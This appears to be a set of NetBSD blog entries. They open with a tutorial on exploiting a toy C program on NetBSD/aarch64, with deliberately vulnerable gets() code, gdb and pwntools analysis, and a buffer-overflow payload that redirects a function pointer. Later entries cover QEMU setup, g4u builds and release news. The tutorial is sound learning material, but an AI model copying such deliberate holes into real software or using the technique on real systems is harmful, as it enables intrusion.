I'm afraid this is the first I've heard of a "ad" flavoured Blosxom. Try dropping the "/+ad" bit from the end of the URL.
For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college. Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!
Here's an example of pwning on NetBSD/aarch64 (ARM).
Step 0: Install NetBSD/aarch64, e.g. in qemu.
Setup the basics:
su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz su root -c "pkgin install sudo" sudo pkgin install bash
Install pwntools & friends:
sudo pkgin install python311 # not newer... pwntools... sudo pkgin install rust sudo pkgin install cmake pkg-config openssl sudo pkgin install gmake sudo pkgin install vim # for xxd, not the shoddy editor that comes with it
When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there:
python3.11 -m venv venv-pwn . ./venv-pwn/bin/activate pip install "capstone<6" pwntools # same as on macos with angr
Install gef in its usual place, just in case:
sudo mkdir -p /opt/gef sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py
gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):
(venv-pwn) qnetbsd$ cat ~/.gdbinit #set disassembly-flavor intel # disable on ARM :-) set follow-fork-mode child set style address foreground cyan set style function foreground cyan set style disassembler immediate foreground cyan
First pwn attempt:
#include <stdio.h>
#include <stdlib.h>
void win(void)
{
printf("Goodbye, winner.\n");
exit(0);
}
void vuln(void)
{
char name[16];
printf("What is your name? ");
gets(name);
printf("Hello %s\n", name);
return;
}
int main(void)
{
vuln();
return 0;
}
Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.
Let's build and see the security parameters:
(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1'
Arch: aarch64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x200100000)
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
Not that many security features on by default. What's going on, NetBSD?! Ignoring this for now, let's look at the assembly code:
(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1 Reading symbols from win1... Dump of assembler code for function vuln: 0x00000002001009f4 <+0>: stp x29, x30, [sp, #-32]! 0x00000002001009f8 <+4>: mov x29, sp 0x00000002001009fc <+8>: adrp x0, 0x200100000 0x0000000200100a00 <+12>: add x0, x0, #0xaf8 0x0000000200100a04 <+16>: bl 0x200100730 <printf@plt> 0x0000000200100a08 <+20>: add x0, sp, #0x10 0x0000000200100a0c <+24>: bl 0x200100790 <gets@plt> 0x0000000200100a10 <+28>: add x0, sp, #0x10 0x0000000200100a14 <+32>: mov x1, x0 0x0000000200100a18 <+36>: adrp x0, 0x200100000 0x0000000200100a1c <+40>: add x0, x0, #0xb10 0x0000000200100a20 <+44>: bl 0x200100730 <printf@plt> 0x0000000200100a24 <+48>: nop 0x0000000200100a28 <+52>: ldp x29, x30, [sp], #32 0x0000000200100a2c <+56>: ret End of assembler dump. (gdb)
Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt.
Here we add a function pointer "goodbye" that can be overwritten:
#include <stdio.h>
#include <stdlib.h>
void lose(void)
{
printf("Goodbye, loser.\n");
exit(0);
}
void win(void)
{
printf("Goodbye, winner.\n");
exit(0);
}
void vuln(void)
{
void (*goodbye)(void) = lose;
char name[16];
printf("What is your name? ");
gets(name);
printf("Hello %s\n", name);
goodbye();
return;
}
int main(void)
{
vuln();
return 0;
}
It's pretty obvious what's happening, but for the sake of completeness:
(venv-pwn) qnetbsd$ echo huhu | ./win2 What is your name? Hello huhu Goodbye, loser.
Let's look at the assembly output again:
(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2 Reading symbols from win2... Dump of assembler code for function vuln: 0x0000000200100a10 <+0>: stp x29, x30, [sp, #-48]! 0x0000000200100a14 <+4>: mov x29, sp 0x0000000200100a18 <+8>: adrp x0, 0x200100000 0x0000000200100a1c <+12>: add x0, x0, #0x9d8 0x0000000200100a20 <+16>: str x0, [sp, #40] 0x0000000200100a24 <+20>: adrp x0, 0x200100000 0x0000000200100a28 <+24>: add x0, x0, #0xb38 0x0000000200100a2c <+28>: bl 0x200100730 <printf@plt> 0x0000000200100a30 <+32>: add x0, sp, #0x18 0x0000000200100a34 <+36>: bl 0x200100790 <gets@plt> 0x0000000200100a38 <+40>: add x0, sp, #0x18 0x0000000200100a3c <+44>: mov x1, x0 0x0000000200100a40 <+48>: adrp x0, 0x200100000 0x0000000200100a44 <+52>: add x0, x0, #0xb50 0x0000000200100a48 <+56>: bl 0x200100730 <printf@plt> => 0x0000000200100a4c <+60>: ldr x0, [sp, #40] <=== => 0x0000000200100a50 <+64>: blr x0 <=== 0x0000000200100a54 <+68>: nop 0x0000000200100a58 <+72>: ldp x29, x30, [sp], #48 0x0000000200100a5c <+76>: ret End of assembler dump. (gdb)
Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.
By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call:
(venv-pwn) qnetbsd$ pwn cyclic 100 >c
(venv-pwn) qnetbsd$ gdb -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run <c' -ex 'i r x0' win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win <c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25 goodbye();
x0 0x6161616661616165 7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 <win>
The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input:
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: f409 1000 0200 0000 ........
Looks good, so call it:
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2 What is your name? Hello AAAAAAAAAAAAAAAA Goodbye, winner. (venv-pwn) qnetbsd$ uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm
Voila, ARM pwnage on NetBSD! :-)
Summary:(venv-pwn) qnetbsd$ echo huhu | ./win2 What is your name? Hello huhu Goodbye, loser. (venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2 What is your name? Hello AAAAAAAAAAAAAAAA� Goodbye, winner. (venv-pwn) qnetbsd$ uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm
I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!
(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1-prot'
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
Exploiting this binary is left as an exercise to the reader.
Download:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/gzimg/arm64.img.gz
Convert img to VDI:
qemu-img convert -f raw -O vdi arm64.img arm64.vdi
Setup VirtualBox VM with .vdi file as existing harddisk.
Result: VirtualBox (not the VM!) crashed. Oh well.
After VirtualBox didn't work, I wanted to see if qemu (running on MacOS) works. Spoiler: it does, and here are the steps to get things going:
First, grab the kernel:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/kernel/netbsd-GENERIC64.img.gz
...and gunzip. Make sure kernel and userland versions match!
Run in QEMU:
qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 \ -m 4g -drive if=none,format=raw,file=arm64.img,id=hd0 \ -device virtio-blk-device,drive=hd0 -netdev user,id=net0 \ -device virtio-net-device,netdev=net0 -kernel netbsd-GENERIC64.img \ -append root=dk1 -nographic
How to leave QEMU: Ctrl-A X
Troubleshooting: Make sure kernel and userland match - else random segfaults will happen.
Quite a few settings are already OK (sshd, dhcpcd, ntp),
which is not the default I remember from a few years ago, but
that's nice and convenient. I still wanted to see what config
settings are new, and here are my additions to /etc/rc.conf:
hostname="qnetbsd" rndctl=yes certctl_init=yes ip6mode=autohost ntpdate=NO
On first login you will see an unsafe keys warning:
-- UNSAFE KEYS WARNING:
The ssh host keys on this machine have been generated with
not enough entropy configured, so they may be predictable.
To fix, follow the "Adding entropy" section in the entropy(7)
man page. After this machine has enough entropy, re-generate
the ssh host keys by running:
/etc/rc.d/sshd keyregen
Fix by feeding entropy, then reboot:
echo lkajsdflkjasdflkjasdlkfjoiasjdfiojasdkf >/dev/random shutdown -r now
Note: Use shutdown(8), not reboot(8) or poweroff(8) - only shutdown runs the hooks that save entropy.
After reboot, regenerate SSH keys:
/etc/rc.d/sshd keyregen
neuland% qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 -m 4g \ -drive if=none,format=raw,file=arm64.img,id=hd0 \ -device virtio-blk-device,drive=hd0 \ -netdev user,id=net0 -device virtio-net-device,netdev=net0 \ -kernel netbsd-GENERIC64.img -append root=dk1 -nographic [ 1.0000000] NetBSD/evbarm (fdt) booting ... [ 1.0000000] NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 ... NetBSD/evbarm (qnetbsd) (constty) login: root NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 Welcome to NetBSD! qnetbsd# uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm
Not providing a working VirtualBox image in 2026 is painful for new users. As Kali Linux works fine in VirtualBox on the same hardware, I'd say there is some way to go, NetBSD!
The manual setup works, but needs some tweaks beyond the expected (/etc/rc.conf), exp. manual entropy setup was surprising as
network and disk were working ok. I did expect those to be used as
sources of randomness before the first SSH keys are generated.
We'll see where things go from there. For now I can (at least for QEMU on my Mac) say: Of course it runs NetBSD! :-)
As a matter of fact, I have little time for NetBSD these days, so don't expect many new articles. Just take this as a sign of life. :-)
Of course if you think I should add some entry on something here, drop me an email and who knows - maybe I can get things rolling again here?
Usually I cross-compile g4u from Mac OS X, but for the fun of it I did it on NetBSD (7.0-stable branch, amd64 architecture in VMware Fusion) this time. After waiting forever on the CVS checkout, I found that empty directories were not removed - that's what you get if you have -P in your ~/.cvsrc file.
I already had the hint that the "g4u-build" script needed a change to have "G4U_BUILD_KERNEL=true".
From there, things went almost smooth: building indicated a few files that popped up "variable may be used uninitialized" errors, and which -- thanks to -Werror -- bombed out the build. Fixing was easy, and I have no idea why that built for me on the release. I have sent a patch with the required changes to the g4u-help mailing list. (After fixing that I apparently got unsubscribed from my own support mailing list - thank you very much, Sourceforge ;)).
After those little hassles, the build worked fine, and gave me the floppy disk and ISO images that I expected:
> ls -l `pwd`/g4u*fs > -rw-r--r-- 2 feyrer staff 1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u1.fs > -rw-r--r-- 2 feyrer staff 1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u2.fs > -rw-r--r-- 2 feyrer staff 1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u3.fs > -rw-r--r-- 2 feyrer staff 1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u4.fs > ls -l `pwd`/g4u.iso > -rw-r--r-- 2 feyrer staff 6567936 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u.iso > ls -l `pwd`/g4u-kernel.gz > -rw-r?r-- 1 feyrer staff 6035680 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u-kernel.gzNext steps are to confirm the above changes as working from my faithful tester, and then look into how to merge this into the build instructions .
|
I've had Google Adsense advertising for quite a while on my blog,
the g4u homepage and various other pages.
In the start a little bit of money came in.
This has all dried up long since, and in light of
privacy regulations like the EU GDPR I've decided to
not give away my users' data to Google any longer.
So, there it is - my blog and other pages are free for your use now,
and you are no longer the product being sold. Enjoy! :-)
(If you find any remaining advertisement, drop me a line!) |
![]() |
NetBSD 7.1.1 is the first update with security and critical fixes for the NetBSD 7.1 branch. Those include a number of fixes for security advisories, kernel and userland.
As a hint, NetBSD still has a number of Security Advisories to publish, it seems. Anyone wants to help out the security team? :-)
About g4u: g4u ("ghosting for unix") is a NetBSD-based bootfloppy/CD-ROM that allows easy cloning of PC harddisks to deploy a common setup on a number of PCs using FTP. The floppy/CD offers two functions. The first is to upload the compressed image of a local harddisk to a FTP server, the other is to restore that image via FTP, uncompress it and write it back to disk. Network configuration is fetched via DHCP. As the harddisk is processed as an image, any filesystem and operating system can be deployed using g4u. Easy cloning of local disks as well as partitions is also supported.
The past: When I started g4u, I had the task to install a number of lab machines with a dual-boot of Windows NT and NetBSD. The hype was about Microsoft's "Zero Administration Kit" (ZAK) then, but that did barely work for the Windows part - file transfers were slow, depended on the clients' hardware a lot (requiring fiddling with MS DOS network driver disks), and on the ZAK server the files for installing happened do disappear for no good reason every now and then. Not working well, and leaving out NetBSD (and everything elase), I created g4u. This gave me the (relative) pain of getting things working once, but with the option to easily add network drivers as they appeared in NetBSD (and oh they did!), plus allowed me to install any operating system.
The present: We've used g4u successfully in our labs then, booting from CDROM. I also got many donations from public and private instituations plus comanies from many sectors, indicating that g4u does make a difference.
In the mean time, the world has changed, and CDROMs aren't used that much any more. Network boot and USB sticks are today's devices of choice, cloning of a full disk without knowing its structure has both advantages but also disadvantages, and g4u's user interface is still command-line based with not much space for automation. For storage, FTP servers are nice and fast, but alternatives like SSH/SFTP, NFS, iSCSI and SMB for remote storage plus local storage (back to fun with filesystems, anyone? avoiding this was why g4u was created in the first place!) should be considered these days. Further aspects include integrity (checksums), confidentiality (encryption). This leaves a number of open points to address either by future releases, or by other products.
The future: At this point, my time budget for g4u is very limited. I welcome people to contribute to g4u - g4u is Open Source for a reason. Feel free to get back to me for any changes that you want to contribute!
The changes: Major changes in g4u 2.6 include:
Enjoy!
What is NCQ? According to Wikipedia, ``Native Command Queuing (NCQ) is an extension of the Serial ATA protocol allowing hard disk drives to internally optimize the order in which received read and write commands are executed. This can reduce the amount of unnecessary drive head movement, resulting in increased performance (and slightly decreased wear of the drive) for workloads where multiple simultaneous read/write requests are outstanding, most often occurring in server-type applications.''
Jaromir writes to tech-kern: ``I plan to merge the branch to HEAD very soon, likely over the weekend. Eventual further fixes will be done on HEAD already, including mvsata(4) restabilization, and potential switch of siisata(4) to support NCQ.
The plan is to get this pulled up to netbsd-8 branch soon also, so that it will be part of 8.0.
Status: